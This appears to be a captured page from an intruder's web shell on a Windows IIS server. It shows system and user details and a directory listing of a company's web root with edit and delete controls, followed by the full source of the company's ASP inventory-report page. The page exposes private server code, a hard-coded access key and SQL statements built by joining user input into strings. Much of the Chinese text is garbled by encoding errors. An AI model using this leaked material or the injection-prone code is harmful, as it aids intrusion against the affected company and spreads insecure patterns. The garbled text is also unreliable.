Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%Response.Charset="gb2312"%>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="robots" content="noindex,nofollow">
<script type="text/javascript" src="js/echarts.min.js" charset="utf-8"></script>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.12.2.js"></script>       
<script type="text/javascript" src="js/ck.js?v=<%=Timestamp%>" charset="utf-8"></script>

<title>ASC���ʹ�˾</title>
<style>
table{
 border: solid 1px #000000;
 }
table tr td{
 border-Bottom: dotted 1px #000000;
 border-top: dotted 1px #000000;
 border-right: dotted 1px #000000;
 border-left-width:1px;
 border-left-color:#000000;
 }
 .box{
 border-left-width:3px;
 border-left-color:#FF0000;
 border-Bottom: dotted 1px #000000;
 border-top: dotted 1px #000000;
 border-right: dotted 1px #000000;
 }
</style>
</head>
<body style="text-align:center; margin:0 auto;">
<%
    flgRead = Request.Querystring("arg")
    if flgRead <> "Asc365NewSys" then response.end
    arg1 = Request.Querystring("fromdate")
    arg2 = Request.Querystring("todate")
    arg3 = Request.Querystring("zubie")
    arg4 = Request.Querystring("typ")

if len(arg1) = 0 then
        fromdate = DateAdd("m",-1,date())
    else
        fromdate = arg1
    end if
    if len(arg2) = 0 then
        todate = DateAdd("d",-1,date())
    else
        todate = arg2
    end if
    '��ȡ���Ͳֿ�
    dim zu(100,2)
    zuname = "" '������ͼ������ʾ
    zu(0,0) = ""
    zu(0,1) = ""
    id_zu = 0

set rszu = server.CreateObject("adodb.recordset")
    sqlzu = "select PARMVALUE as zu,cast(PARMVALUE + '��' as nvarchar) as zuname   from om_commparm where fldname = 'planorg' and DISPVALUE = '�������' and PARMVALUE in (select right(orgcode,2) from AA_STORERIJIE where opdt = dateadd(d,-2, cast(getdate() as date))) union select '�������' as zu,'�������'"
    rszu.open sqlzu,conn,1,1
    do while not rszu.eof
        zu(id_zu,0) = rszu(0)
        zu(id_zu,1) = rszu(1)
        id_zu = id_zu + 1
        rszu.movenext
    loop
    rszu.close
    set rszu = nothing
    zubie = "�������"
    'if len(arg3) =0 then
    '    zubie = "0006"
    'else
    '    zubie = arg3
    'end if
    typ = "1"
    if len(arg4) = 0 then
        typ = "1"
    else
        typ = arg4
    end if
    backtimes = -1
    s1 = "ALL"
    s2 = "ALL"
    s3 = "ALL"
    s4 = "ALL"
    s5 = "ALL"
    sqll = ""    
    sql = "exec s70602885 '" & fromdate & "','" & todate & "','" & zubie &"','" & sqll &"','" & typ & "'"
    if request.Form("submit")="submit" then
        fromdate = request.Form("fromdate")
        todate = request.Form("todate")
        if datediff("d",fromdate,"2016-06-26") >0 then fromdate = "2016-06-26"
        if datediff("d",todate,DateAdd("d",-1,date())) <0 then todate = DateAdd("d",-1,date())
        zubie = request.Form("zubie")
        typ = request.Form("typ")
        backtimes = request.Form("backtime")
        backtimes = backtimes*1 - 1
        sqll = request.Form("sqll")
        if Instr(sqll,"''") <= 0 then sqll = replace(sqll,"'","''")
        s1 = request.Form("store1")
        s2 = request.Form("store2")
        s3 = request.Form("store3")
        s4 = request.Form("store4")
        s5 = request.Form("store5")
        sql = "exec s70602885 '" & fromdate & "','" & todate & "','" & zubie &"','" & sqll &"','" & typ & "'"
    end if
    echartsName = ""
    if typ = "1" then echartsName = "'��ֵ������ʵ�ʳɱ���$'"
    if typ = "2" then echartsName = "'�����m3��'"
    if typ = "3" then echartsName = "'�ɹ�������'"
    if typ = "4" then echartsName = "'��Ʒ����'"    
    fuhao = ""
    if typ = "1" then fuhao = "'$'"
    if typ = "2" then fuhao = "'m3'"
    if typ = "3" then fuhao = "'��'"
    if typ = "4" then fuhao = "'��'"

dim mydata(10000,20)
    dim line_max
    line_max = 0
    set rs=server.CreateObject("adodb.recordset")
    rs.open sql,conn,1,1
    do while not rs.eof
        mydata(line_max,0) = rs(0)
        for i = 1 to 19
            mydata(line_max,i) = Round(rs(i),2)
        next
        line_max = line_max + 1
    rs.movenext
    loop
    rs.close
    set rs = nothing
'����,�ܿ��,����;�ܿ��,��;�ܿ��,��Ʒ��,����Ʒ��,��Ʒ����,��Ʒռ��,��Ʒ��;,���ֿ���,����ռ��,������;,OpenBox����,OpenBoxռ��,OpenBox��;,���޿⣬������;,���Ͽ�,���޿�,���˲��
    datedt = "["
    dtzong = "["
    dtfeizaitu = "["
    dtzaitu = "["
    dtzhengpinku = "["
    dtfeizhengpin = "["
    dtzpky = "["
    dtzpzy = "["
    dtzpzt = "["
    dtesky = "["
    dteszy = "[" 
    dteszt = "["
    dtobky = "["
    dtopzy = "["
    dtopzt = "["
    dtdxkc = "["
    dtdxzt = "["
    dttbfkc = "["
    dtzxkc = "["
    dtdhck = "["
    for i = 0 to line_max -1
        datedt = datedt & "'" & mydata(i,0) & "',"
        dtzong = dtzong & mydata(i,1) & ","
        dtfeizaitu = dtfeizaitu & mydata(i,2) & ","
        dtzaitu = dtzaitu & mydata(i,3) & ","
        dtzhengpinku = dtzhengpinku & mydata(i,4) & ","
        dtfeizhengpin = dtfeizhengpin & mydata(i,5) & ","
        dtzpky = dtzpky & mydata(i,6) & ","
        dtzpzy = dtzpzy & mydata(i,7) & ","
        dtzpzt = dtzpzt & mydata(i,8) & ","
        dtesky = dtesky & mydata(i,9) & ","
        dteszy = dteszy & mydata(i,10) & ","
        dteszt = dteszt & mydata(i,11) & ","
        dtobky = dtobky & mydata(i,12) & ","
        dtopzy = dtopzy & mydata(i,13) & ","
        dtopzt = dtopzt & mydata(i,14) & ","
        dtdxkc = dtdxkc & mydata(i,15) & ","
        dtdxzt = dtdxzt & mydata(i,16) & ","
        dttbfkc = dttbfkc & mydata(i,17) & ","
        dtzxkc = dtzxkc & mydata(i,18) & ","
        dtdhck = dtdhck & mydata(i,19) & ","
    next
    datedt = left(datedt,len(datedt) -1) & "]"
    dtzong = left(dtzong,len(dtzong) -1) & "]"
    dtfeizaitu = left(dtfeizaitu,len(dtfeizaitu) -1) & "]"
    dtzaitu = left(dtzaitu,len(dtzaitu) -1) & "]"
    dtzhengpinku = left(dtzhengpinku,len(dtzhengpinku) -1) & "]"
    dtfeizhengpin = left(dtfeizhengpin,len(dtfeizhengpin) -1) & "]"
    dtzpky = left(dtzpky,len(dtzpky) -1) & "]"
    dtzpzy = left(dtzpzy,len(dtzpzy) -1) & "]"
    dtzpzt = left(dtzpzt,len(dtzpzt) -1) & "]"
    dtesky = left(dtesky,len(dtesky) -1) & "]"
    dteszy = left(dteszy,len(dteszy) -1) & "]"
    dteszt = left(dteszt,len(dteszt) -1) & "]"
    dtobky = left(dtobky,len(dtobky) -1) & "]"
    dtopzy = left(dtopzy,len(dtopzy) -1) & "]"
    dtopzt = left(dtopzt,len(dtopzt) -1) & "]"
    dtdxkc = left(dtdxkc,len(dtdxkc) -1) & "]"
    dtdxzt = left(dtdxzt,len(dtdxzt) -1) & "]"
    dttbfkc = left(dttbfkc,len(dttbfkc) -1) & "]"
    dtzxkc = left(dtzxkc,len(dtzxkc) -1) & "]"
    dtdhck = left(dtdhck,len(dtdhck) -1) & "]"

'��ȡ��ǰ��֯�ڸ����ֿ��ֵ ��ʼʱ��ͽ���ʱ���
    '������ ʱ�䣬������ ����ֵ�������ֿ⡢��ֵ
    dtcangku1 = "["
    dtcangku2 = "["
    sql = "exec s70602885_1 '" & fromdate & "', '" & zubie & "','" & typ & "'"
    set rs1=server.CreateObject("adodb.recordset")
    rs1.open sql,conn,1,1
    do while not rs1.eof
        if Cdbl(rs1(1)) <> 0 then dtcangku1 = dtcangku1 &"{value:" & rs1(1) & ",name:'" & rs1(0) & "'},"
        rs1.movenext
    loop
    rs1.close
    set rs1 = nothing
    if len(dtcangku1)>1 then 
        dtcangku1 = left(dtcangku1,len(dtcangku1) -1) & "]"
    else
        dtcangku1 = "[]"
    end if
    sql = "exec s70602885_1 '" & todate & "', '" & zubie & "','" & typ & "'"
    cangkustring = "["
    set rs2=server.CreateObject("adodb.recordset")
    rs2.open sql,conn,1,1
    do while not rs2.eof
        if Cdbl(rs2(1)) <> 0 then dtcangku2 = dtcangku2 &"{value:" & rs2(1) & ",name:'" & rs2(0) & "'},"
        cangkustring = cangkustring & "'" & rs2(0) & "',"
        rs2.movenext
    loop
    rs2.close
    set rs2 = nothing
    if len(dtcangku2) >1 then
        dtcangku2 = left(dtcangku2,len(dtcangku2) -1) & "]"
    else
        dtcangku2 = "[]"
    end if
    cangkustring = left(cangkustring,len(cangkustring) - 1) & "]"
    conn.close
    set conn = nothing

sfromdate = "'" & fromdate & "'"
    stodate = "'" & todate & "'"

for i = 0 to id_zu - 1
        if zu(i,0) = zubie then
            zuname = zu(i,1)
            exit for
        end if
    next
    if len(arg1) > 0 then
    %>
    <div id="btnrtn" align="left">
       <input type="button" value="����" onclick="javascript:window.history.go(<%=backtimes%>);"> 
    </div>
    <%
    end if
    if zuname = "All" then zuname = "ȫ��˾"
    zuname = "'" & zuname & "'"
    %>
    <div style="margin:0 auto; text-align:center">
    <form method="post" action="" align="center" name="prdmsg">

<table width="800" border="1" style="border-collapse: collapse" align="center">
            <tr>
                <td nowrap>�ӣ�<input type="text" name="fromdate" value="<%=fromdate%>"></td>
                <td nowrap>����<input type="text" name="todate" value="<%=todate%>"></td>
                <td nowrap>���
                    <select name="zubie">
                        <%for i = 0 to id_zu-1%>
                            <option value="<%=zu(i,0)%>" <%if zu(i,0) = zubie then%>selected="selected" <%end if%>><%=zu(i,1)%></option>
                        <%next%>
                    </select>
                </td>
                <td nowrap>�ֿ⣺
                    <select name="store1" onChange="chgck1()">
                            <option value="ALL" <%if s1="ALL" then %> selected <%end if%>>ALL</option>
                            <option value="���ղֿ������˾" <%if s1="���ղֿ������˾" then %> selected <%end if%>>���ղֿ������˾</option>
                            <option value="���ղֿ����ڵ�" <%if s1="���ղֿ����ڵ�" then %> selected <%end if%>>���ղֿ����ڵ�</option>
                            <option value="FBA�ֿⰴ���������" <%if s1="FBA�ֿⰴ���������" then %> selected <%end if%>>FBA�ֿⰴ���������</option>
                            <option value="FBA�ֿⰴ�������˾" <%if s1="FBA�ֿⰴ�������˾" then %> selected <%end if%>>FBA�ֿⰴ�������˾</option>
                            <option value="WFS�ֿⰴ�������˾" <%if s1="WFS�ֿⰴ�������˾" then %> selected <%end if%>>WFS�ֿⰴ�������˾</option>
                    </select>
                    <select name="store2" value="<%=s2%>" onChange="chgck2()"><option value="<%=s2%>"><%=s2%></option></select>
                    <select name="store3" value="<%=s3%>" onChange="chgck3()"><option value="<%=s3%>"><%=s3%></option></select>
                    <select name="store4" value="<%=s4%>" onChange="chgck4()"><option value="<%=s4%>"><%=s4%></option></select>
                    <select name="store5" value="<%=s5%>" onChange="chgck5()"><option value="<%=s5%>"><%=s5%></option></select>
                    <input type="text" style="display:none" name="sqll" value="<%=sqll%>"/>
                </td>
                <td nowrap>��ѯ���ݣ�
                    <select name="typ">
                        <option value="1" <%if typ = "1" then%>selected="selected"<%end if%>>����ʵ�ʳɱ�</option>
                        <option value="2" <%if typ = "2" then%>selected="selected"<%end if%>>�����m3��</option>
                        <option value="3" <%if typ = "3" then%>selected="selected"<%end if%>>�ɹ�������</option>
                        <option value="4" <%if typ = "4" then%>selected="selected"<%end if%>>����</option>                        
                    </select>
                    <input type="text" style="display:none" name="backtime" value="<%=backtimes%>"/>
                </td>
                <td nowrap><input type="submit" name="submit" value="submit"></td>
            </tr>
            <tr>
                <td colspan="5">ע����ǰ�����������ʱ�䷶Χ�ǣ�2016-06-26 �� ���졣�����޿��桱������������;�����ݡ���2023-06-13 Brain��</td>
            </tr>
        </table>
        <script>init2()</script>
    </form>
    </div>
    <div id="container" style="text-align:center; height:93%" >Loading...</div>
    <div id="cangkupie" style="text-align:center; height:54%" >Loading...</div>
</div>
</body>
</html>
<script type="text/javascript">

var mydd = [<%=dtzong%>,<%=dtfeizaitu%>,<%=dtzaitu%>,<%=dtzhengpinku%>,<%=dtfeizhengpin%>,<%=dtzpky%>,<%=dtzpzy%>,<%=dtzpzt%>,<%=dtesky%>,<%=dteszy%>,<%=dteszt%>,<%=dtobky%>,<%=dtopzy%>,<%=dtopzt%>,<%=dtdxkc%>,<%=dtdxzt%>,<%=dttbfkc%>,<%=dtzxkc%>,<%=dtdhck%>];
var dataX = <%=datedt%>